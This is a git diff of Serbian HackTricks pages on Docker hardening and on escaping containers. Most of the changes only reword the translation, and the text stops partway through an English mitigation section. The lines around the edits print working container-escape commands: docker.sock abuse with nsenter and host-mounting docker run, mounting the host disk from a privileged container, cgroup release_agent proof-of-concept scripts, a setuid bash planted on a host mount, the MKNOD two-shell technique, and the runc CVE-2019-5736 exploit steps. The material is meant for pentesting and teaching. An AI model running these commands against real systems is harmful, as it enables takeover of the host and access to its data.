Ovi konteksti pomažu da se osigura da se obrađuju samo legitimni zahtevi od autentifikovanih korisnika, poboljšavajući sigurnost Docker operacija.
|
||||
Ovi konteksti pomažu da se osigura da se obrađuju samo legitimni zahtevi od autentifikovanih korisnika, unapređujući sigurnost Docker operacija.
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
|
@ -281,7 +281,7 @@ Na sledećoj stranici možete saznati **šta podrazumeva zastavica `--privileged
|
|||
|
||||
#### no-new-privileges
|
||||
|
||||
Ako pokrećete kontejner gde napadač uspe da dobije pristup kao korisnik sa niskim privilegijama. Ako imate **pogrešno konfigurisan suid binarni fajl**, napadač može zloupotrebiti to i **povećati privilegije unutar** kontejnera. Što mu može omogućiti da pobegne iz njega.
|
||||
Ako pokrećete kontejner gde napadač uspe da pristupi kao korisnik sa niskim privilegijama. Ako imate **pogrešno konfigurisan suid binarni fajl**, napadač može zloupotrebiti to i **povećati privilegije unutar** kontejnera. Što mu može omogućiti da pobegne iz njega.
|
||||
|
||||
Pokretanje kontejnera sa opcijom **`no-new-privileges`** omogućiće **sprečavanje ovakvog povećanja privilegija**.
|
||||
```
|
||||
|
@ -306,7 +306,7 @@ Za više **`--security-opt`** opcija proverite: [https://docs.docker.com/engine/
|
|||
|
||||
## Ostale bezbednosne razmatranja
|
||||
|
||||
### Upravljanje Tajnama: Najbolje Prakse
|
||||
### Upravljanje tajnama: Najbolje prakse
|
||||
|
||||
Važno je izbegavati ugradnju tajni direktno u Docker slike ili korišćenje okružnih promenljivih, jer ovi metodi izlažu vaše osetljive informacije svakome ko ima pristup kontejneru putem komandi poput `docker inspect` ili `exec`.
|
||||
|
||||
|
@ -337,9 +337,9 @@ secrets:
|
|||
my_secret:
|
||||
file: ./my_secret_file.txt
|
||||
```
|
||||
Ova konfiguracija omogućava korišćenje tajni prilikom pokretanja servisa pomoću Docker Compose-a.
|
||||
Ova konfiguracija omogućava korišćenje tajni prilikom pokretanja usluga pomoću Docker Compose-a.
|
||||
|
||||
U Kubernetes okruženjima, tajne su podržane na nivou platforme i mogu se dodatno upravljati alatima poput [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Upravljanje tajnama u Kubernetes-u putem Role Based Access Controls (RBAC) poboljšava sigurnost upravljanja tajnama, slično kao u Docker Enterprise.
|
||||
U Kubernetes okruženjima, tajne su podržane na nivou platforme i mogu se dalje upravljati alatima poput [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Upravljanje tajnama u Kubernetes-u putem Role Based Access Controls (RBAC) poboljšava sigurnost upravljanja tajnama, slično kao u Docker Enterprise-u.
|
||||
|
||||
### gVisor
|
||||
|
||||
|
@ -349,7 +349,7 @@ U Kubernetes okruženjima, tajne su podržane na nivou platforme i mogu se dodat
|
|||
|
||||
### Kata Containers
|
||||
|
||||
**Kata Containers** je zajednica otvorenog koda koja radi na izgradnji sigurnog runtime-a kontejnera sa laganim virtuelnim mašinama koje se ponašaju i izvode kao kontejneri, ali pružaju **jaču izolaciju radnog opterećenja korišćenjem tehnologije hardverske virtualizacije** kao drugog sloja odbrane.
|
||||
**Kata Containers** je zajednica otvorenog koda koja radi na izgradnji sigurnog runtime-a kontejnera sa lakim virtuelnim mašinama koje se ponašaju i izvode kao kontejneri, ali pružaju **jaču izolaciju radnog opterećenja korišćenjem tehnologije hardverske virtualizacije** kao drugog sloja odbrane.
|
||||
|
||||
{% embed url="https://katacontainers.io/" %}
|
||||
|
||||
|
@ -363,12 +363,12 @@ U Kubernetes okruženjima, tajne su podržane na nivou platforme i mogu se dodat
|
|||
* **Prilagodite** profile [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ili SELinux)** da ograniče radnje i sistemske pozive dostupne kontejneru na minimum potreban.
|
||||
* **Koristite** [**zvanične Docker slike**](https://docs.docker.com/docker-hub/official\_images/) **i zahtevajte potpise** ili izgradite svoje zasnovane na njima. Ne nasleđujte ili ne koristite [slike sa zadnjim vratima](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Takođe čuvajte root ključeve, lozinke na sigurnom mestu. Docker ima planove za upravljanje ključevima sa UCP-om.
|
||||
* **Redovno** **ponovo izgradite** svoje slike da **primenite sigurnosne zakrpe na hostu i slikama.**
|
||||
* Mudro upravljajte **svojim tajnama** kako bi bilo teško napadaču da im pristupi.
|
||||
* Mudro upravljajte **svojim tajnama** tako da je teško napadaču da im pristupi.
|
||||
* Ako **izlažete docker daemon koristite HTTPS** sa autentifikacijom klijenta i servera.
|
||||
* U svom Dockerfile-u, **favorizujte COPY umesto ADD**. ADD automatski raspakuje zipovane fajlove i može kopirati fajlove sa URL-ova. COPY nema ove mogućnosti. Kad god je moguće, izbegavajte korišćenje ADD kako ne biste bili podložni napadima putem udaljenih URL-ova i Zip fajlova.
|
||||
* Imajte **odvojene kontejnere za svaku mikro-s**ervisu
|
||||
* **Ne stavljajte ssh** unutar kontejnera, “docker exec” se može koristiti za ssh ka kontejneru.
|
||||
* Imajte **manje** slike kontejnera
|
||||
* Imajte **manje** slike **kontejnera**
|
||||
|
||||
## Bekstvo iz Docker-a / Eskalacija privilegija
|
||||
|
||||
|
@ -378,15 +378,15 @@ Ako ste **unutar Docker kontejnera** ili imate pristup korisniku u **docker grup
|
|||
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Bajpasovanje Docker autentifikacionog dodatka
|
||||
## Bypassovanje Docker Authentication Plugin-a
|
||||
|
||||
Ako imate pristup docker socket-u ili pristup korisniku u **docker grupi ali vaše akcije su ograničene autentifikacionim dodatkom za docker**, proverite da li ga možete **bajpasovati:**
|
||||
Ako imate pristup docker socket-u ili pristup korisniku u **docker grupi ali vaše akcije su ograničene Docker auth plugin-om**, proverite da li ga možete **bypassovati:**
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Ojačavanje Docker-a
|
||||
## Jačanje Docker-a
|
||||
|
||||
* Alat [**docker-bench-security**](https://github.com/docker/docker-bench-security) je skripta koja proverava desetine uobičajenih najboljih praksi oko implementacije Docker kontejnera u produkciji. Testovi su svi automatizovani i zasnovani na [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||
Morate pokrenuti alat sa hosta koji pokreće Docker ili iz kontejnera sa dovoljno privilegija. Saznajte **kako ga pokrenuti u README-u:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
|
@ -407,7 +407,7 @@ Morate pokrenuti alat sa hosta koji pokreće Docker ili iz kontejnera sa dovoljn
|
|||
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
|
@ -420,8 +420,8 @@ Pristupite danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
|
|
@ -14,11 +14,11 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Dobijte pristup danas:
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -30,10 +30,10 @@ Dobijte pristup danas:
|
|||
* [**deepce**](https://github.com/stealthcopter/deepce): Alat za nabrojavanje i bekstvo iz kontejnera
|
||||
* [**grype**](https://github.com/anchore/grype): Dobijanje CVE-ova koji se nalaze u softveru instaliranom na slici
|
||||
|
||||
## Bekstvo Montiranog Docker Socketa
|
||||
## Bekstvo iz Montiranog Docker Socketa
|
||||
|
||||
Ako na neki način otkrijete da je **docker socket montiran** unutar docker kontejnera, moći ćete da pobegnete iz njega.\
|
||||
Ovo se obično dešava u docker kontejnerima koji iz nekog razloga moraju da se povežu sa docker demonom kako bi obavili akcije.
|
||||
Ovo se obično dešava u docker kontejnerima koji iz nekog razloga moraju da se povežu sa docker daemonom kako bi obavili akcije.
|
||||
```bash
|
||||
#Search the socket
|
||||
find / -name docker.sock 2>/dev/null
|
||||
|
@ -54,10 +54,10 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
|
|||
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
|
||||
```
|
||||
{% hint style="info" %}
|
||||
U slučaju da je **docker socket na neočekivanom mestu** i dalje možete komunicirati s njim koristeći **`docker`** komandu sa parametrom **`-H unix:///putanja/do/docker.sock`**
|
||||
U slučaju da je **docker socket na neočekivanom mestu** i dalje možete komunicirati s njim koristeći **`docker`** komandu sa parametrom **`-H unix:///path/to/docker.sock`**
|
||||
{% endhint %}
|
||||
|
||||
Docker daemon može takođe [slušati na portu (podrazumevano 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ili na Systemd baziranim sistemima, komunikacija sa Docker daemonom može se odvijati preko Systemd socketa `fd://`.
|
||||
Docker daemon takođe može [slušati na portu (podrazumevano 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ili na Systemd baziranim sistemima, komunikacija sa Docker daemonom može se odvijati preko Systemd socketa `fd://`.
|
||||
|
||||
{% hint style="info" %}
|
||||
Dodatno, obratite pažnju na runtime sockete drugih visokonivnih runtime-ova:
|
||||
|
@ -70,7 +70,7 @@ Dodatno, obratite pažnju na runtime sockete drugih visokonivnih runtime-ova:
|
|||
* ...
|
||||
{% endhint %}
|
||||
|
||||
## Zloupotreba sposobnosti za bekstvo
|
||||
## Bekstvo zloupotrebe sposobnosti
|
||||
|
||||
Treba da proverite sposobnosti kontejnera, ako ima bilo koju od sledećih, možda ćete moći da pobegnete iz njega: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
|
||||
|
@ -78,7 +78,7 @@ Trenutne sposobnosti kontejnera možete proveriti koristeći **prethodno pomenut
|
|||
```bash
|
||||
capsh --print
|
||||
```
|
||||
Na sledećoj stranici možete **saznati više o Linux sposobnostima** i kako ih zloupotrebiti da biste pobegli/povećali privilegije:
|
||||
Na sledećoj stranici možete **saznati više o linux sposobnostima** i kako ih zloupotrebiti da biste pobegli/povećali privilegije:
|
||||
|
||||
{% content-ref url="../../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../../linux-capabilities.md)
|
||||
|
@ -98,7 +98,7 @@ Privilegovani kontejner može biti kreiran sa zastavicom `--privileged` ili onem
|
|||
* `--cgroupns=host`
|
||||
* `Mount /dev`
|
||||
|
||||
Zastavica `--privileged` značajno smanjuje sigurnost kontejnera, nudeći **neograničen pristup uređajima** i zaobilazeći **nekoliko zaštita**. Za detaljnije informacije, pogledajte dokumentaciju o punim uticajima `--privileged`.
|
||||
Zastavica `--privileged` značajno smanjuje sigurnost kontejnera, nudeći **neograničen pristup uređajima** i zaobilazeći **nekoliko zaštita**. Za detaljnije informacije, pogledajte dokumentaciju o potpunim uticajima `--privileged`.
|
||||
|
||||
{% content-ref url="../docker-privileged.md" %}
|
||||
[docker-privileged.md](../docker-privileged.md)
|
||||
|
@ -114,7 +114,7 @@ docker run --rm -it --pid=host --privileged ubuntu bash
|
|||
```
|
||||
### Privilegovani
|
||||
|
||||
Samo sa privilegovanom zastavicom možete pokušati **pristupiti disku domaćina** ili pokušati **pobegnuti zloupotrebom release\_agent-a ili drugih bekstava**.
|
||||
Samo sa privilegovanom zastavicom možete pokušati **pristupiti disku domaćina** ili pokušati **izbeći zloupotrebu release\_agent-a ili drugih bekstava**.
|
||||
|
||||
Testirajte sledeće obilaske u kontejneru izvršavanjem:
|
||||
```bash
|
||||
|
@ -122,11 +122,11 @@ docker run --rm -it --privileged ubuntu bash
|
|||
```
|
||||
#### Montiranje diska - Poc1
|
||||
|
||||
Dobro konfigurisani Docker kontejneri neće dozvoliti komandu poput **fdisk -l**. Međutim, na loše konfigurisanoj Docker komandi gde je specificiran flag `--privileged` ili `--device=/dev/sda1` sa privilegijama, moguće je dobiti privilegije da se vidi drajv domaćina.
|
||||
Dobro konfigurisani Docker kontejneri neće dozvoliti komandu poput **fdisk -l**. Međutim, na loše konfigurisanoj Docker komandi gde je specificiran flag `--privileged` ili `--device=/dev/sda1` sa privilegijama, moguće je dobiti privilegije za pregled host drajva.
|
||||
|
||||
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
|
||||
|
||||
Dakle, da preuzmete kontrolu nad mašinom domaćina, to je trivijalno:
|
||||
Dakle, da preuzmete kontrolu nad host mašinom, to je trivijalno:
|
||||
```bash
|
||||
mkdir -p /mnt/hola
|
||||
mount /dev/sda1 /mnt/hola
|
||||
|
@ -192,7 +192,9 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
|
|||
# Reads the output
|
||||
cat /o
|
||||
```
|
||||
#### Privilegovano bežanje zloupotrebom kreiranog release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
||||
#### Zloupotreba stvorenog release_agent-a za eskalaciju privilegija ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
||||
|
||||
{% code title="Drugi PoC" %}
|
||||
```bash
|
||||
# On the host
|
||||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
|
||||
|
@ -336,10 +338,10 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
|||
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||||
...
|
||||
```
|
||||
#### Zloupotreba Osetljivih Montaža za Eskalaciju Ovlašćenja
|
||||
#### Privilegovano bežanje zloupotrebom osetljivih montaža
|
||||
|
||||
Postoje nekoliko datoteka koje mogu biti montirane koje pružaju **informacije o osnovnom hostu**. Neke od njih čak mogu ukazivati na **nešto što će biti izvršeno od strane hosta kada se nešto desi** (što će omogućiti napadaču da pobegne iz kontejnera).\
|
||||
Zloupotreba ovih datoteka može omogućiti:
|
||||
Zloupotreba ovih datoteka može omogućiti da:
|
||||
|
||||
* release\_agent (već obrađeno ranije)
|
||||
* [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
|
||||
|
@ -353,9 +355,9 @@ Međutim, možete pronaći **druge osetljive datoteke** za proveru na ovoj stran
|
|||
[sensitive-mounts.md](sensitive-mounts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Proizvoljne Montaže
|
||||
### Proizvoljne montaže
|
||||
|
||||
U nekoliko prilika ćete primetiti da je **kontejner montirao neki volumen sa hosta**. Ako ovaj volumen nije pravilno konfigurisan, možda ćete moći da **pristupite/izmenite osetljive podatke**: Čitate tajne, menjate ssh authorized\_keys...
|
||||
U nekoliko prilika ćete primetiti da je **kontejner montirao neki volumen sa hosta**. Ako ovaj volumen nije pravilno konfigurisan, možda ćete moći da **pristupite/izmenite osetljive podatke**: Čitanje tajni, menjanje ssh authorized\_keys...
|
||||
```bash
|
||||
docker run --rm -it -v /:/host ubuntu bash
|
||||
```
|
||||
|
@ -370,12 +372,12 @@ chown root:root bash #From container as root inside mounted folder
|
|||
chmod 4777 bash #From container as root inside mounted folder
|
||||
bash -p #From non priv inside mounted folder
|
||||
```
|
||||
### Eskalacija privilegija sa 2 školjke
|
||||
### Eskalacija privilegija sa 2 ljuske
|
||||
|
||||
Ako imate pristup kao **root unutar kontejnera** i uspeli ste kao **neprivilegovani korisnik da pobegnete na host**, možete zloupotrebiti obe školjke da biste **eskaliirali privilegije unutar hosta** ako imate mogućnost MKNOD unutar kontejnera (to je podrazumevano) kao što je [**objašnjeno u ovom postu**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
Sa takvom mogućnošću, korisnik root unutar kontejnera ima dozvolu da **kreira blok uređajne datoteke**. Uređajne datoteke su posebne datoteke koje se koriste za **pristupanje osnovnom hardveru i jezgrovim modulima**. Na primer, blok uređajna datoteka /dev/sda omogućava pristup **čitanju sirovih podataka na sistemu diska**.
|
||||
Ako imate pristup kao **root unutar kontejnera** i uspeli ste da **pobegnete kao korisnik bez privilegija na hostu**, možete zloupotrebiti obe ljuske da biste **eskaliirali privilegije unutar hosta** ako imate mogućnost MKNOD unutar kontejnera (to je podrazumevano) kao što je [**objašnjeno u ovom postu**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
Sa takvom mogućnošću, korisnik root unutar kontejnera može **kreirati blok uređajne datoteke**. Uređajne datoteke su posebne datoteke koje se koriste za **pristupanje osnovnom hardveru i jezgrovim modulima**. Na primer, blok uređajna datoteka /dev/sda omogućava pristup **čitanju sirovih podataka na sistemu diska**.
|
||||
|
||||
Docker štiti od zloupotrebe blok uređajnih datoteka unutar kontejnera primenom cgroup politike koja **blokira operacije čitanja/pisanja blok uređajnih datoteka**. Međutim, ako se blok uređajna datoteka **kreira unutar kontejnera**, postaje dostupna spoljašnjem svetu putem direktorijuma **/proc/PID/root/**. Za ovaj pristup je potrebno da **vlasnik procesa bude isti** i unutar i izvan kontejnera.
|
||||
Docker štiti od zloupotrebe blok uređajnih datoteka unutar kontejnera primenom cgroup politike koja **blokira operacije čitanja/pisanja blok uređajnih datoteka**. Ipak, ako se blok uređajna datoteka **kreira unutar kontejnera**, postaje dostupna spoljašnjem svetu putem direktorijuma **/proc/PID/root/**. Za ovaj pristup je potrebno da **vlasnik procesa bude isti** i unutar i izvan kontejnera.
|
||||
|
||||
Primer **eksploatacije** iz ovog [**izveštaja**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
|
||||
```bash
|
||||
|
@ -430,7 +432,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
|
|||
USER=abrgocd
|
||||
...
|
||||
```
|
||||
Takođe možete **pristupiti datotekama deskriptora drugih procesa i pročitati njihove otvorene datoteke**:
|
||||
Takođe možete **pristupiti fajl deskriptorima drugih procesa i pročitati njihove otvorene fajlove**:
|
||||
```bash
|
||||
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
|
||||
less fds.txt
|
||||
|
@ -456,7 +458,7 @@ Na primer, možete koristiti ovo da **snifujete čak i lažirate saobraćaj** iz
|
|||
|
||||
Kao u sledećim primerima:
|
||||
|
||||
* [Analiza: Kako kontaktirati Google SRE: Ubacivanje shell-a u cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [Analiza: Kako kontaktirati Google SRE: Ubacivanje ljuske u cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [MITM servis metapodataka omogućava eskalaciju privilegija na root nivo (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
|
||||
Takođe ćete moći da pristupite **mrežnim uslugama povezanim na localhost** unutar hosta ili čak pristupite **dozvolama metapodataka čvora** (koje mogu biti različite od onih do kojih kontejner može da pristupi).
|
||||
|
@ -465,7 +467,7 @@ Takođe ćete moći da pristupite **mrežnim uslugama povezanim na localhost** u
|
|||
```bash
|
||||
docker run --rm -it --ipc=host ubuntu bash
|
||||
```
|
||||
Sa `hostIPC=true`, dobijate pristup resursima međuprocesne komunikacije (IPC) domaćina, poput **deljene memorije** u `/dev/shm`. Ovo omogućava čitanje/pisanje gde se isti IPC resursi koriste od strane drugih procesa domaćina ili čaura. Koristite `ipcs` da biste detaljnije pregledali ove IPC mehanizme.
|
||||
Sa `hostIPC=true`, dobijate pristup resursima međuprocesne komunikacije (IPC) domaćina, poput **deljene memorije** u `/dev/shm`. Ovo omogućava čitanje/pisanje gde se isti IPC resursi koriste od strane drugih procesa domaćina ili podova. Koristite `ipcs` da detaljnije pregledate ove IPC mehanizme.
|
||||
|
||||
* **Pregledajte /dev/shm** - Potražite datoteke na ovom mestu deljene memorije: `ls -la /dev/shm`
|
||||
* **Pregled postojećih IPC objekata** - Možete proveriti da li se koriste neki IPC objekti sa `/usr/bin/ipcs`. Proverite sa: `ipcs -a`
|
||||
|
@ -482,7 +484,7 @@ cat /proc/self/status | grep CapEff
|
|||
|
||||
Druga tehnika objašnjena u postu [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) pokazuje kako možete zloupotrebiti bind montaže sa korisničkim prostorima, da biste uticali na datoteke unutar domaćina (u tom specifičnom slučaju, brisanje datoteka).
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Pristupite danas:
|
||||
|
@ -493,14 +495,14 @@ Pristupite danas:
|
|||
|
||||
### Runc eksploatacija (CVE-2019-5736)
|
||||
|
||||
U slučaju da možete izvršiti `docker exec` kao root (verovatno sa sudo), možete pokušati da eskalirate privilegije bežeći iz kontejnera zloupotrebom CVE-2019-5736 (eksploatacija [ovde](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Ova tehnika će u osnovi **prepisati** binarnu datoteku _**/bin/sh**_ domaćina **iz kontejnera**, tako da bilo ko ko izvrši docker exec može pokrenuti payload.
|
||||
U slučaju da možete izvršiti `docker exec` kao root (verovatno sa sudo), možete pokušati da eskalirate privilegije bežeći iz kontejnera zloupotrebom CVE-2019-5736 (eksploatacija [ovde](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Ova tehnika će u osnovi **prepisati** _**/bin/sh**_ binarnu datoteku **domaćina** **iz kontejnera**, tako da bilo ko ko izvrši docker exec može pokrenuti payload.
|
||||
|
||||
Promenite payload prema potrebi i izgradite main.go sa `go build main.go`. Rezultujuću binarnu datoteku treba postaviti u docker kontejner radi izvršenja.\
|
||||
Prilikom izvršenja, čim prikaže `[+] Overwritten /bin/sh successfully` treba izvršiti sledeće sa mašine domaćina:
|
||||
Promenite payload prema potrebi i izgradite main.go sa `go build main.go`. Rezultujuća binarna datoteka treba da bude smeštena u docker kontejner radi izvršenja.\
|
||||
Prilikom izvršenja, čim prikaže `[+] Overwritten /bin/sh successfully` treba da izvršite sledeće sa host mašine:
|
||||
|
||||
`docker exec -it <container-name> /bin/sh`
|
||||
`docker exec -it <ime-kontejnera> /bin/sh`
|
||||
|
||||
Ovo će pokrenuti payload koji se nalazi u datoteci main.go.
|
||||
Ovo će pokrenuti payload koji se nalazi u main.go datoteci.
|
||||
|
||||
Za više informacija: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
||||
|
||||
|
@ -508,14 +510,14 @@ Za više informacija: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
|
|||
Postoje i drugi CVE-ovi na koje kontejner može biti ranjiv, možete pronaći listu na [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
|
||||
{% endhint %}
|
||||
|
||||
## Prilagođeno bekstvo iz Docker-a
|
||||
## Prilagođeno Bekstvo iz Docker-a
|
||||
|
||||
### Površina bekstva iz Docker-a
|
||||
### Površina za Bekstvo iz Docker-a
|
||||
|
||||
* **Prostori imena:** Proces bi trebalo da bude **potpuno odvojen od drugih procesa** putem prostora imena, tako da ne možemo pobeći interakcijom sa drugim procesima zbog prostora imena (podrazumevano ne može komunicirati putem IPC-a, unix soketa, mrežnih usluga, D-Bus-a, `/proc` drugih procesa).
|
||||
* **Prostori imena:** Proces bi trebalo da bude **potpuno odvojen od drugih procesa** putem prostora imena, tako da ne možemo pobeći interakcijom sa drugim procesima zbog prostora imena (podrazumevano ne može komunicirati putem IPC-a, unix soketa, mrežnih servisa, D-Bus-a, `/proc` drugih procesa).
|
||||
* **Root korisnik**: Podrazumevano, korisnik koji pokreće proces je root korisnik (međutim, njegove privilegije su ograničene).
|
||||
* **Ovlašćenja**: Docker ostavlja sledeća ovlašćenja: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
* **Sistemski pozivi**: Ovo su sistemski pozivi koje **root korisnik neće moći da pozove** (zbog nedostatka ovlašćenja + Seccomp). Ostali sistemski pozivi mogu se koristiti za pokušaj bekstva.
|
||||
* **Mogućnosti**: Docker ostavlja sledeće mogućnosti: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
* **Sistemski pozivi**: Ovo su sistemski pozivi koje **root korisnik neće moći da pozove** (zbog nedostatka mogućnosti + Seccomp). Ostali sistemski pozivi mogu biti korišćeni za pokušaj bekstva.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="x64 sistemski pozivi" %}
|
||||
|
@ -547,32 +549,29 @@ Postoje i drugi CVE-ovi na koje kontejner može biti ranjiv, možete pronaći li
|
|||
|
||||
### Description
|
||||
|
||||
Docker breakout is a privilege escalation technique that allows an attacker to break out of a Docker container and gain access to the host operating system. This can lead to full control of the host machine and potentially compromise the entire system.
|
||||
Docker breakout is a privilege escalation technique that allows an attacker who has limited access to a Docker container to gain root access on the host machine. This can be achieved by exploiting vulnerabilities in Docker or the underlying operating system.
|
||||
|
||||
### Attack Scenario
|
||||
|
||||
1. **Identify Docker Container**: The attacker first needs to identify a target Docker container running on the host machine.
|
||||
|
||||
2. **Exploit Vulnerabilities**: The attacker then exploits vulnerabilities within the Docker container to gain access to the host system.
|
||||
|
||||
3. **Privilege Escalation**: By escalating privileges within the container, the attacker can break out of the container and access the host operating system.
|
||||
1. Attacker gains access to a Docker container with limited privileges.
|
||||
2. Attacker identifies a vulnerability in Docker or the host operating system that can be exploited for privilege escalation.
|
||||
3. Attacker exploits the vulnerability to gain root access on the host machine.
|
||||
4. Attacker can now move laterally within the host machine or carry out further attacks.
|
||||
|
||||
### Mitigation
|
||||
|
||||
To prevent Docker breakout privilege escalation, follow these best practices:
|
||||
|
||||
